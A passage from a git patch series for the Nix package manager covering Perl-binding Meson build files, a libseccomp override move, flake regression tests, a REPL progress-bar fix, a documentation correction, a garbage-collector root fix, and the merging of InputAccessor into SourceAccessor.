+  dependencies : cpp.find_library(
+  'perl',
+  has_headers : [
+    join_paths(perl_archlibexp, 'CORE', 'perl.h'),
+    join_paths(perl_archlibexp, 'CORE', 'EXTERN.h')],
+    dirs : [
+      join_paths(perl_archlibexp, 'CORE'),
+    ],
+  ),
+  include_directories : join_paths(perl_archlibexp, 'CORE'),
+)
+
+# declare dependencies
+#-------------------------------------------------
+nix_perl_store_dep_list = [
+  perl_dep,
+  bzip2_dep,
+  curl_dep,
+  libsodium_dep,
+  nix_store_dep,
+]
+
+# # build
+# #-------------------------------------------------
+subdir('lib/Nix')
+
+if get_option('tests').enabled()
+  subdir('t')
+  test(
+    'nix-perl-test',
+    yath,
+    args : [
+      '-I=@0@'.format( join_paths( meson.current_build_dir(), 'lib', 'Nix') ),
+    ],
+  )
+endif
diff --git a/perl/meson_options.txt b/perl/meson_options.txt
new file mode 100644
index 00000000000..82ca52f3719
--- /dev/null
+++ b/perl/meson_options.txt
@@ -0,0 +1,32 @@
+# Nix-Perl build options
+#============================================================================
+
+
+# compiler args
+#============================================================================
+
+option(
+  'version',
+  type : 'string',
+  description : 'nix-perl version')
+
+option(
+  'tests',
+  type : 'feature',
+  value : 'disabled',
+  description : 'run nix-perl tests')
+
+
+# Location of Perl Modules
+#============================================================================
+option(
+  'dbi_path',
+  type : 'string',
+  value : '/usr',
+  description : 'path to perl::dbi')
+
+option(
+  'dbd_sqlite_path',
+  type : 'string',
+  value : '/usr',
+  description : 'path to perl::dbd-SQLite')
diff --git a/perl/t/meson.build b/perl/t/meson.build
new file mode 100644
index 00000000000..dbd1139f327
--- /dev/null
+++ b/perl/t/meson.build
@@ -0,0 +1,15 @@
+# Nix-Perl Tests
+#============================================================================
+
+
+# src
+#---------------------------------------------------
+
+nix_perl_tests = files(
+  'init.t',
+)
+
+
+foreach f : nix_perl_tests
+  fs.copyfile(f)
+endforeach

From 1ac635d6007b620b0850fb5e7e68cfb7b8badca7 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 25 Apr 2024 16:07:00 -0400
Subject: [PATCH 065/528] perl: Allow running `yath test` in the build
 directory

For most purposes, the stock `ninja test` should be fine, but this
allows for doing other things with the `yath` during development.
---
 perl/.yath.rc    |  2 --
 perl/.yath.rc.in |  2 ++
 perl/default.nix |  2 +-
 perl/meson.build | 16 ++++++++++++----
 4 files changed, 15 insertions(+), 7 deletions(-)
 delete mode 100644 perl/.yath.rc
 create mode 100644 perl/.yath.rc.in

diff --git a/perl/.yath.rc b/perl/.yath.rc
deleted file mode 100644
index 118bf80c821..00000000000
--- a/perl/.yath.rc
+++ /dev/null
@@ -1,2 +0,0 @@
-[test]
--I=rel(lib/Nix)
diff --git a/perl/.yath.rc.in b/perl/.yath.rc.in
new file mode 100644
index 00000000000..e6f5f93ecdd
--- /dev/null
+++ b/perl/.yath.rc.in
@@ -0,0 +1,2 @@
+[test]
+-I=rel(@lib_dir@)
diff --git a/perl/default.nix b/perl/default.nix
index 185c8126f02..45682381ea5 100644
--- a/perl/default.nix
+++ b/perl/default.nix
@@ -26,7 +26,7 @@ perl.pkgs.toPerlModule (stdenv.mkDerivation (finalAttrs: {
       ./meson.build
       ./meson_options.txt
     ] ++ lib.optionals finalAttrs.doCheck [
-      ./.yath.rc
+      ./.yath.rc.in
       ./t
     ]);
   };
diff --git a/perl/meson.build b/perl/meson.build
index bbeb0afa1d6..350e5bd67b7 100644
--- a/perl/meson.build
+++ b/perl/meson.build
@@ -138,15 +138,23 @@ nix_perl_store_dep_list = [
 
 # # build
 # #-------------------------------------------------
-subdir('lib/Nix')
+lib_dir = join_paths('lib', 'Nix')
+subdir(lib_dir)
 
 if get_option('tests').enabled()
+  yath_rc_conf = configuration_data()
+  yath_rc_conf.set('lib_dir', lib_dir)
+  yath_rc = configure_file(
+    output : '.yath.rc',
+    input : '.yath.rc.in',
+    configuration : yath_rc_conf,
+  )
   subdir('t')
   test(
     'nix-perl-test',
     yath,
-    args : [
-      '-I=@0@'.format( join_paths( meson.current_build_dir(), 'lib', 'Nix') ),
-    ],
+    args : ['test'],
+    workdir : meson.current_build_dir(),
+    depends : [nix_perl_store_lib],
   )
 endif

From 1a2f88491f776f280640180f64d78c199d4e2d5b Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 25 Apr 2024 16:36:56 -0400
Subject: [PATCH 066/528] Move `libseccomp` source override outside
 `package.nix`

This makes it match the current pattern:

- `package.nix` assumes deps are right version

- Overlay in `flake.nix` creates `*-nix` package variations

- Overlay manually passes in those packages to `package.nix`
---
 flake.nix   | 9 +++++++++
 package.nix | 8 +-------
 2 files changed, 10 insertions(+), 7 deletions(-)

diff --git a/flake.nix b/flake.nix
index 2795172bbfb..987f2530521 100644
--- a/flake.nix
+++ b/flake.nix
@@ -179,6 +179,14 @@
             ];
           });
 
+          libseccomp-nix = final.libseccomp.overrideAttrs (_: rec {
+            version = "2.5.5";
+            src = final.fetchurl {
+              url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz";
+              hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U=";
+            };
+          });
+
           changelog-d-nix = final.buildPackages.callPackage ./misc/changelog-d.nix { };
 
           nix =
@@ -198,6 +206,7 @@
               officialRelease = false;
               boehmgc = final.boehmgc-nix;
               libgit2 = final.libgit2-nix;
+              libseccomp = final.libseccomp-nix;
               busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
             } // {
               # this is a proper separate downstream package, but put
diff --git a/package.nix b/package.nix
index 59265f5222b..cf1654c6a23 100644
--- a/package.nix
+++ b/package.nix
@@ -249,13 +249,7 @@ in {
   ] ++ lib.optionals buildUnitTests [
     gtest
     rapidcheck
-  ] ++ lib.optional stdenv.isLinux (libseccomp.overrideAttrs (_: rec {
-    version = "2.5.5";
-    src = fetchurl {
-      url = "https://github.com/seccomp/libseccomp/releases/download/v${version}/libseccomp-${version}.tar.gz";
-      hash = "sha256-JIosik2bmFiqa69ScSw0r+/PnJ6Ut23OAsHJqiX7M3U=";
-    };
-  }))
+  ] ++ lib.optional stdenv.isLinux libseccomp
     ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid
     # There have been issues building these dependencies
     ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin))

From e5f509ef0b5c364544c904faa0bfda57dba03611 Mon Sep 17 00:00:00 2001
From: Sarah Brofeldt <sarah@qtr.dk>
Date: Sun, 28 Apr 2024 16:32:58 +0200
Subject: [PATCH 067/528] nix repl: hide progress bar during :edit

---
 src/libcmd/repl.cc | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc
index a045e83d2d5..bade1b5382c 100644
--- a/src/libcmd/repl.cc
+++ b/src/libcmd/repl.cc
@@ -506,6 +506,10 @@ ProcessLineResult NixRepl::processLine(std::string line)
         auto editor = args.front();
         args.pop_front();
 
+        // avoid garbling the editor with the progress bar
+        logger->pause();
+        Finally resume([&]() { logger->resume(); });
+
         // runProgram redirects stdout to a StringSink,
         // using runProgram2 to allow editors to display their UI
         runProgram2(RunOptions { .program = editor, .lookupPath = true, .args = args });

From 4d99d07bc97bab9ba3e399ac3ca6e78a8ccf4aab Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 30 Apr 2024 15:34:35 +0200
Subject: [PATCH 068/528] Whitespace

---
 src/libfetchers/path.cc | 1 +
 1 file changed, 1 insertion(+)

diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc
index 0af1bad7381..67a9fc2f21c 100644
--- a/src/libfetchers/path.cc
+++ b/src/libfetchers/path.cc
@@ -54,6 +54,7 @@ struct PathInputScheme : InputScheme
             "narHash",
         };
     }
+
     std::optional<Input> inputFromAttrs(const Attrs & attrs) const override
     {
         getStrAttr(attrs, "path");

From 458441c637e7bac1f579c8448aa5a7210bd27fcf Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 30 Apr 2024 15:34:38 +0200
Subject: [PATCH 069/528] Test dirOf behaviour on the root of a flake

---
 tests/functional/flakes/common.sh | 2 ++
 tests/functional/flakes/flakes.sh | 3 +++
 2 files changed, 5 insertions(+)

diff --git a/tests/functional/flakes/common.sh b/tests/functional/flakes/common.sh
index fc45cf7bfa3..65c12a9c3f0 100644
--- a/tests/functional/flakes/common.sh
+++ b/tests/functional/flakes/common.sh
@@ -21,6 +21,8 @@ writeSimpleFlake() {
 
     # To test "nix flake init".
     legacyPackages.$system.hello = import ./simple.nix;
+
+    parent = builtins.dirOf ./.;
   };
 }
 EOF
diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh
index 4f41cae0aef..5beb1e0f562 100644
--- a/tests/functional/flakes/flakes.sh
+++ b/tests/functional/flakes/flakes.sh
@@ -231,6 +231,9 @@ nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"$flake1Dir\").pack
 # 'getFlake' on a locked flakeref should succeed even in pure mode.
 nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1Dir?rev=$hash2\").packages.$system.default"
 
+# Regression test for dirOf on the root of the flake.
+[[ $(nix eval --json flake1#parent) = \""$NIX_STORE_DIR"\" ]]
+
 # Building a flake with an unlocked dependency should fail in pure mode.
 (! nix build -o "$TEST_ROOT/result" flake2#bar --no-registries)
 (! nix build -o "$TEST_ROOT/result" flake2#bar --no-use-registries)

From 503be57bbd88d5cfc2246b900b6dcb4e388f5066 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 30 Apr 2024 15:43:33 +0200
Subject: [PATCH 070/528] Test baseNameOf behaviour on the root of a flake

---
 tests/functional/flakes/common.sh | 2 ++
 tests/functional/flakes/flakes.sh | 3 +++
 2 files changed, 5 insertions(+)

diff --git a/tests/functional/flakes/common.sh b/tests/functional/flakes/common.sh
index 65c12a9c3f0..e0776d5ed77 100644
--- a/tests/functional/flakes/common.sh
+++ b/tests/functional/flakes/common.sh
@@ -23,6 +23,8 @@ writeSimpleFlake() {
     legacyPackages.$system.hello = import ./simple.nix;
 
     parent = builtins.dirOf ./.;
+
+    baseName = builtins.baseNameOf ./.;
   };
 }
 EOF
diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh
index 5beb1e0f562..b2bea071161 100644
--- a/tests/functional/flakes/flakes.sh
+++ b/tests/functional/flakes/flakes.sh
@@ -234,6 +234,9 @@ nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1
 # Regression test for dirOf on the root of the flake.
 [[ $(nix eval --json flake1#parent) = \""$NIX_STORE_DIR"\" ]]
 
+# Regression test for baseNameOf on the root of the flake.
+[[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]*-source$ ]]
+
 # Building a flake with an unlocked dependency should fail in pure mode.
 (! nix build -o "$TEST_ROOT/result" flake2#bar --no-registries)
 (! nix build -o "$TEST_ROOT/result" flake2#bar --no-use-registries)

From 724132468afc6d2bf760209a3b9160fd207ed5d8 Mon Sep 17 00:00:00 2001
From: Christian Albertsen <christian@wudika.de>
Date: Tue, 30 Apr 2024 17:08:04 +0200
Subject: [PATCH 071/528] Update distibuted-builds.md not to use nix-store info
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

When trying the „nix-store info“ commands on this page I received the error "error: 'info' is not a recognised command". According to https://github.com/NixOS/nix/issues/9349 info seems to have been an alias for ping. So why not just replace info with ping?
---
 doc/manual/src/advanced-topics/distributed-builds.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doc/manual/src/advanced-topics/distributed-builds.md b/doc/manual/src/advanced-topics/distributed-builds.md
index 52acd039c10..ddabaeb4df1 100644
--- a/doc/manual/src/advanced-topics/distributed-builds.md
+++ b/doc/manual/src/advanced-topics/distributed-builds.md
@@ -12,14 +12,14 @@ machine is accessible via SSH and that it has Nix installed. You can
 test whether connecting to the remote Nix instance works, e.g.
 
 ```console
-$ nix store info --store ssh://mac
+$ nix store ping --store ssh://mac
 ```
 
 will try to connect to the machine named `mac`. It is possible to
 specify an SSH identity file as part of the remote store URI, e.g.
 
 ```console
-$ nix store info --store ssh://mac?ssh-key=/home/alice/my-key
+$ nix store ping --store ssh://mac?ssh-key=/home/alice/my-key
 ```
 
 Since builds should be non-interactive, the key should not have a

From f29a220b7092954644884d193aea13531f77b69b Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 30 Apr 2024 16:46:36 +0200
Subject: [PATCH 072/528] Test that the root of a tree produces
 /nix/store/<hash1>-<hash2>-source

---
 tests/functional/flakes/common.sh | 2 ++
 tests/functional/flakes/flakes.sh | 5 ++++-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/tests/functional/flakes/common.sh b/tests/functional/flakes/common.sh
index e0776d5ed77..f83a02aba73 100644
--- a/tests/functional/flakes/common.sh
+++ b/tests/functional/flakes/common.sh
@@ -25,6 +25,8 @@ writeSimpleFlake() {
     parent = builtins.dirOf ./.;
 
     baseName = builtins.baseNameOf ./.;
+
+    root = ./.;
   };
 }
 EOF
diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh
index b2bea071161..a74d56a5bb1 100644
--- a/tests/functional/flakes/flakes.sh
+++ b/tests/functional/flakes/flakes.sh
@@ -235,7 +235,10 @@ nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1
 [[ $(nix eval --json flake1#parent) = \""$NIX_STORE_DIR"\" ]]
 
 # Regression test for baseNameOf on the root of the flake.
-[[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]*-source$ ]]
+[[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]+-source$ ]]
+
+# Test that the root of a tree returns a path named /nix/store/<hash1>-<hash2>-source (#10627).
+[[ $(nix eval --raw flake1#root) =~ ^.*/[a-z0-9]+-[a-z0-9]+-source$ ]]
 
 # Building a flake with an unlocked dependency should fail in pure mode.
 (! nix build -o "$TEST_ROOT/result" flake2#bar --no-registries)

From 1f4168221757f46d57f951692158138dbb4059b0 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Tue, 30 Apr 2024 18:10:16 +0200
Subject: [PATCH 073/528] Update tests/functional/flakes/flakes.sh

Co-authored-by: John Ericson <git@JohnEricson.me>
---
 tests/functional/flakes/flakes.sh | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh
index a74d56a5bb1..35b0c5d8491 100644
--- a/tests/functional/flakes/flakes.sh
+++ b/tests/functional/flakes/flakes.sh
@@ -237,7 +237,9 @@ nix build -o "$TEST_ROOT/result" --expr "(builtins.getFlake \"git+file://$flake1
 # Regression test for baseNameOf on the root of the flake.
 [[ $(nix eval --raw flake1#baseName) =~ ^[a-z0-9]+-source$ ]]
 
-# Test that the root of a tree returns a path named /nix/store/<hash1>-<hash2>-source (#10627).
+# Test that the root of a tree returns a path named /nix/store/<hash1>-<hash2>-source.
+# This behavior is *not* desired, but has existed for a while.
+# Issue #10627 what to do about it.
 [[ $(nix eval --raw flake1#root) =~ ^.*/[a-z0-9]+-[a-z0-9]+-source$ ]]
 
 # Building a flake with an unlocked dependency should fail in pure mode.

From f34b52b52163ec0db60dca6907f309acc45e2205 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 1 May 2024 18:47:19 +0200
Subject: [PATCH 074/528] libexpr: Add missing GC root for baseEnv

This missing GC root wasn't much of a problem before, because the
heap would end up with a reference to the `baseEnv` pretty soon,
but when unit testing, the construction of `EvalState` doesn't
necessarily happen well before GC runs for the first time.

Found while unit testing the Rust bindings that currently reside
at https://github.com/nixops4/nixops4/tree/main/rust
---
 src/libexpr/eval.cc | 8 +++++++-
 src/libexpr/eval.hh | 5 +++++
 2 files changed, 12 insertions(+), 1 deletion(-)

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index 35ccca79a61..aa058b04fcc 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -50,6 +50,7 @@
 
 #include <gc/gc.h>
 #include <gc/gc_cpp.h>
+#include <gc/gc_allocator.h>
 
 #include <boost/coroutine2/coroutine.hpp>
 #include <boost/coroutine2/protected_fixedsize_stack.hpp>
@@ -342,6 +343,8 @@ void initGC()
     gcInitialised = true;
 }
 
+static constexpr size_t BASE_ENV_SIZE = 128;
+
 EvalState::EvalState(
     const LookupPath & _lookupPath,
     ref<Store> store,
@@ -424,8 +427,11 @@ EvalState::EvalState(
 #if HAVE_BOEHMGC
     , valueAllocCache(std::allocate_shared<void *>(traceable_allocator<void *>(), nullptr))
     , env1AllocCache(std::allocate_shared<void *>(traceable_allocator<void *>(), nullptr))
+    , baseEnvP(std::allocate_shared<Env *>(traceable_allocator<Env *>(), &allocEnv(BASE_ENV_SIZE)))
+    , baseEnv(**baseEnvP)
+#else
+    , baseEnv(allocEnv(BASE_ENV_SIZE))
 #endif
-    , baseEnv(allocEnv(128))
     , staticBaseEnv{std::make_shared<StaticEnv>(nullptr, nullptr)}
 {
     corepkgsFS->setPathDisplay("<nix", ">");
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index 5083613011a..ae8b9dd04b3 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -547,6 +547,11 @@ public:
      */
     SingleDerivedPath coerceToSingleDerivedPath(const PosIdx pos, Value & v, std::string_view errorCtx);
 
+#if HAVE_BOEHMGC
+    /** A GC root for the baseEnv reference. */
+    std::shared_ptr<Env *> baseEnvP;
+#endif
+
 public:
 
     /**

From 037c8d771d56095617b4c2cbfd07ef1199905685 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 2 May 2024 21:41:24 -0400
Subject: [PATCH 075/528] Fix format errors

Fix formatting violations, update blacklist to reflect moved files.

PR #10556 passed CI before the new formating rules were added, and our
CI has the race condition of allowing old results, resulting in master
getting broken.
---
 maintainers/flake-module.nix        | 6 +++---
 src/libstore/indirect-root-store.cc | 6 +++---
 src/libutil/unix-domain-socket.hh   | 6 ++----
 3 files changed, 8 insertions(+), 10 deletions(-)

diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 2ea94e9d932..d35b0314874 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -252,8 +252,8 @@
         ''^src/libstore/unix/pathlocks\.cc$''
         ''^src/libstore/unix/posix-fs-canonicalise\.cc$''
         ''^src/libstore/unix/posix-fs-canonicalise\.hh$''
-        ''^src/libstore/unix/uds-remote-store\.cc$''
-        ''^src/libstore/unix/uds-remote-store\.hh$''
+        ''^src/libstore/uds-remote-store\.cc$''
+        ''^src/libstore/uds-remote-store\.hh$''
         ''^src/libstore/windows/build\.cc$''
         ''^src/libstore/worker-protocol-impl\.hh$''
         ''^src/libstore/worker-protocol\.cc$''
@@ -350,7 +350,7 @@
         ''^src/libutil/unix/processes\.cc$''
         ''^src/libutil/unix/signals-impl\.hh$''
         ''^src/libutil/unix/signals\.cc$''
-        ''^src/libutil/unix/unix-domain-socket\.cc$''
+        ''^src/libutil/unix-domain-socket\.cc$''
         ''^src/libutil/unix/users\.cc$''
         ''^src/libutil/url-parts\.hh$''
         ''^src/libutil/url\.cc$''
diff --git a/src/libstore/indirect-root-store.cc b/src/libstore/indirect-root-store.cc
index b92279928b9..9da05778db2 100644
--- a/src/libstore/indirect-root-store.cc
+++ b/src/libstore/indirect-root-store.cc
@@ -15,15 +15,15 @@ void IndirectRootStore::makeSymlink(const Path & link, const Path & target)
     renameFile(tempLink, link);
 }
 
-
 Path IndirectRootStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot)
 {
     Path gcRoot(canonPath(_gcRoot));
 
     if (isInStore(gcRoot))
         throw Error(
-                "creating a garbage collector root (%1%) in the Nix store is forbidden "
-                "(are you running nix-build inside the store?)", gcRoot);
+            "creating a garbage collector root (%1%) in the Nix store is forbidden "
+            "(are you running nix-build inside the store?)",
+            gcRoot);
 
     /* Register this root with the garbage collector, if it's
        running. This should be superfluous since the caller should
diff --git a/src/libutil/unix-domain-socket.hh b/src/libutil/unix-domain-socket.hh
index 9aba9f62891..a8bbc4b89d3 100644
--- a/src/libutil/unix-domain-socket.hh
+++ b/src/libutil/unix-domain-socket.hh
@@ -5,7 +5,7 @@
 #include "file-descriptor.hh"
 
 #ifdef _WIN32
-# include <winsock2.h>
+#  include <winsock2.h>
 #endif
 #include <unistd.h>
 
@@ -21,7 +21,6 @@ AutoCloseFD createUnixDomainSocket();
  */
 AutoCloseFD createUnixDomainSocket(const Path & path, mode_t mode);
 
-
 /**
  * Often we want to use `Descriptor`, but Windows makes a slightly
  * stronger file descriptor vs socket distinction, at least at the level
@@ -39,7 +38,7 @@ using Socket =
 /**
  * Windows gives this a different name
  */
-# define SHUT_WR SD_SEND
+#  define SHUT_WR SD_SEND
 #endif
 
 /**
@@ -70,7 +69,6 @@ static inline Descriptor fromSocket(Socket fd)
 #endif
 }
 
-
 /**
  * Bind a Unix domain socket to a path.
  */

From ba5929c7becfb8e3668cdabddc4e1ea0b0330189 Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Fri, 3 May 2024 12:14:01 +0200
Subject: [PATCH 076/528] Merge InputAccessor into SourceAccessor

After the removal of the InputAccessor::fetchToStore() method, the
only remaining functionality in InputAccessor was `fingerprint` and
`getLastModified()`, and there is no reason to keep those in a
separate class.
---
 src/libexpr/eval.cc                         | 12 ++++-----
 src/libexpr/eval.hh                         | 10 +++----
 src/libexpr/nixexpr.hh                      |  4 +--
 src/libexpr/parser-state.hh                 |  2 +-
 src/libexpr/parser.y                        |  8 +++---
 src/libexpr/primops.cc                      |  8 +++---
 src/libexpr/value.hh                        |  5 ++--
 src/libfetchers/fetchers.cc                 |  5 ++--
 src/libfetchers/fetchers.hh                 | 10 +++----
 src/libfetchers/filtering-input-accessor.cc |  8 +++---
 src/libfetchers/filtering-input-accessor.hh |  7 +++--
 src/libfetchers/fs-input-accessor.cc        | 15 ++++-------
 src/libfetchers/fs-input-accessor.hh        |  7 +++--
 src/libfetchers/git-utils.cc                | 21 +++++++--------
 src/libfetchers/git-utils.hh                |  5 ++--
 src/libfetchers/github.cc                   |  2 +-
 src/libfetchers/indirect.cc                 |  2 +-
 src/libfetchers/memory-input-accessor.cc    | 29 ---------------------
 src/libfetchers/memory-input-accessor.hh    | 18 -------------
 src/libfetchers/mounted-input-accessor.cc   | 10 +++----
 src/libfetchers/mounted-input-accessor.hh   |  4 +--
 src/libfetchers/path.cc                     |  2 +-
 src/libfetchers/tarball.cc                  |  4 +--
 src/libfetchers/tarball.hh                  |  4 +--
 src/libfetchers/unix/git.cc                 | 12 ++++-----
 src/libfetchers/unix/mercurial.cc           |  2 +-
 src/libutil/input-accessor.hh               | 27 -------------------
 src/libutil/memory-source-accessor.cc       | 10 +++++--
 src/libutil/memory-source-accessor.hh       |  4 +--
 src/libutil/source-accessor.hh              | 26 +++++++++++++++++-
 src/libutil/source-path.cc                  |  6 ++---
 src/libutil/source-path.hh                  | 12 ++++-----
 src/nix-env/nix-env.cc                      | 14 +++++-----
 src/nix/main.cc                             |  2 +-
 tests/unit/libexpr/primops.cc               |  1 -
 35 files changed, 130 insertions(+), 188 deletions(-)
 delete mode 100644 src/libfetchers/memory-input-accessor.cc
 delete mode 100644 src/libfetchers/memory-input-accessor.hh
 delete mode 100644 src/libutil/input-accessor.hh

diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc
index aa058b04fcc..fbd846d1412 100644
--- a/src/libexpr/eval.cc
+++ b/src/libexpr/eval.cc
@@ -17,7 +17,7 @@
 #include "print.hh"
 #include "fs-input-accessor.hh"
 #include "filtering-input-accessor.hh"
-#include "memory-input-accessor.hh"
+#include "memory-source-accessor.hh"
 #include "signals.hh"
 #include "gc-small-vector.hh"
 #include "url.hh"
@@ -400,7 +400,7 @@ EvalState::EvalState(
     , emptyBindings(0)
     , rootFS(
         evalSettings.restrictEval || evalSettings.pureEval
-        ? ref<InputAccessor>(AllowListInputAccessor::create(makeFSInputAccessor(), {},
+        ? ref<SourceAccessor>(AllowListInputAccessor::create(makeFSInputAccessor(), {},
             [](const CanonPath & path) -> RestrictedPathError {
                 auto modeInformation = evalSettings.pureEval
                     ? "in pure evaluation mode (use '--impure' to override)"
@@ -408,8 +408,8 @@ EvalState::EvalState(
                 throw RestrictedPathError("access to absolute path '%1%' is forbidden %2%", path, modeInformation);
             }))
         : makeFSInputAccessor())
-    , corepkgsFS(makeMemoryInputAccessor())
-    , internalFS(makeMemoryInputAccessor())
+    , corepkgsFS(make_ref<MemorySourceAccessor>())
+    , internalFS(make_ref<MemorySourceAccessor>())
     , derivationInternal{corepkgsFS->addFile(
         CanonPath("derivation-internal.nix"),
         #include "primops/derivation.nix.gen.hh"
@@ -2766,12 +2766,12 @@ SourcePath resolveExprPath(SourcePath path)
         if (++followCount >= maxFollow)
             throw Error("too many symbolic links encountered while traversing the path '%s'", path);
         auto p = path.parent().resolveSymlinks() / path.baseName();
-        if (p.lstat().type != InputAccessor::tSymlink) break;
+        if (p.lstat().type != SourceAccessor::tSymlink) break;
         path = {path.accessor, CanonPath(p.readLink(), path.path.parent().value_or(CanonPath::root))};
     }
 
     /* If `path' refers to a directory, append `/default.nix'. */
-    if (path.resolveSymlinks().lstat().type == InputAccessor::tDirectory)
+    if (path.resolveSymlinks().lstat().type == SourceAccessor::tDirectory)
         return path / "default.nix";
 
     return path;
diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh
index ae8b9dd04b3..7ca2d6227b3 100644
--- a/src/libexpr/eval.hh
+++ b/src/libexpr/eval.hh
@@ -9,7 +9,7 @@
 #include "symbol-table.hh"
 #include "config.hh"
 #include "experimental-features.hh"
-#include "input-accessor.hh"
+#include "source-accessor.hh"
 #include "search-path.hh"
 #include "repl-exit-status.hh"
 
@@ -33,7 +33,7 @@ class EvalState;
 class StorePath;
 struct SingleDerivedPath;
 enum RepairFlag : bool;
-struct MemoryInputAccessor;
+struct MemorySourceAccessor;
 namespace eval_cache {
     class EvalCache;
 }
@@ -229,18 +229,18 @@ public:
     /**
      * The accessor for the root filesystem.
      */
-    const ref<InputAccessor> rootFS;
+    const ref<SourceAccessor> rootFS;
 
     /**
      * The in-memory filesystem for <nix/...> paths.
      */
-    const ref<MemoryInputAccessor> corepkgsFS;
+    const ref<MemorySourceAccessor> corepkgsFS;
 
     /**
      * In-memory filesystem for internal, non-user-callable Nix
      * expressions like call-flake.nix.
      */
-    const ref<MemoryInputAccessor> internalFS;
+    const ref<MemorySourceAccessor> internalFS;
 
     const SourcePath derivationInternal;
 
diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh
index e3cae8385cf..e37e3bdd153 100644
--- a/src/libexpr/nixexpr.hh
+++ b/src/libexpr/nixexpr.hh
@@ -92,10 +92,10 @@ struct ExprString : Expr
 
 struct ExprPath : Expr
 {
-    ref<InputAccessor> accessor;
+    ref<SourceAccessor> accessor;
     std::string s;
     Value v;
-    ExprPath(ref<InputAccessor> accessor, std::string s) : accessor(accessor), s(std::move(s))
+    ExprPath(ref<SourceAccessor> accessor, std::string s) : accessor(accessor), s(std::move(s))
     {
         v.mkPath(&*accessor, this->s.c_str());
     }
diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh
index 024e79c432e..5a928e9aadb 100644
--- a/src/libexpr/parser-state.hh
+++ b/src/libexpr/parser-state.hh
@@ -44,7 +44,7 @@ struct ParserState
     Expr * result;
     SourcePath basePath;
     PosTable::Origin origin;
-    const ref<InputAccessor> rootFS;
+    const ref<SourceAccessor> rootFS;
     const Expr::AstSymbols & s;
 
     void dupAttr(const AttrPath & attrPath, const PosIdx pos, const PosIdx prevPos);
diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y
index bff0661703d..00300449f6f 100644
--- a/src/libexpr/parser.y
+++ b/src/libexpr/parser.y
@@ -41,7 +41,7 @@ Expr * parseExprFromBuf(
     const SourcePath & basePath,
     SymbolTable & symbols,
     PosTable & positions,
-    const ref<InputAccessor> rootFS,
+    const ref<SourceAccessor> rootFS,
     const Expr::AstSymbols & astSymbols);
 
 }
@@ -291,7 +291,7 @@ path_start
     /* add back in the trailing '/' to the first segment */
     if ($1.p[$1.l-1] == '/' && $1.l > 1)
       path += "/";
-    $$ = new ExprPath(ref<InputAccessor>(state->rootFS), std::move(path));
+    $$ = new ExprPath(ref<SourceAccessor>(state->rootFS), std::move(path));
   }
   | HPATH {
     if (evalSettings.pureEval) {
@@ -301,7 +301,7 @@ path_start
         );
     }
     Path path(getHome() + std::string($1.p + 1, $1.l - 1));
-    $$ = new ExprPath(ref<InputAccessor>(state->rootFS), std::move(path));
+    $$ = new ExprPath(ref<SourceAccessor>(state->rootFS), std::move(path));
   }
   ;
 
@@ -430,7 +430,7 @@ Expr * parseExprFromBuf(
     const SourcePath & basePath,
     SymbolTable & symbols,
     PosTable & positions,
-    const ref<InputAccessor> rootFS,
+    const ref<SourceAccessor> rootFS,
     const Expr::AstSymbols & astSymbols)
 {
     yyscan_t scanner;
diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc
index df274caed47..a3ccc9771bc 100644
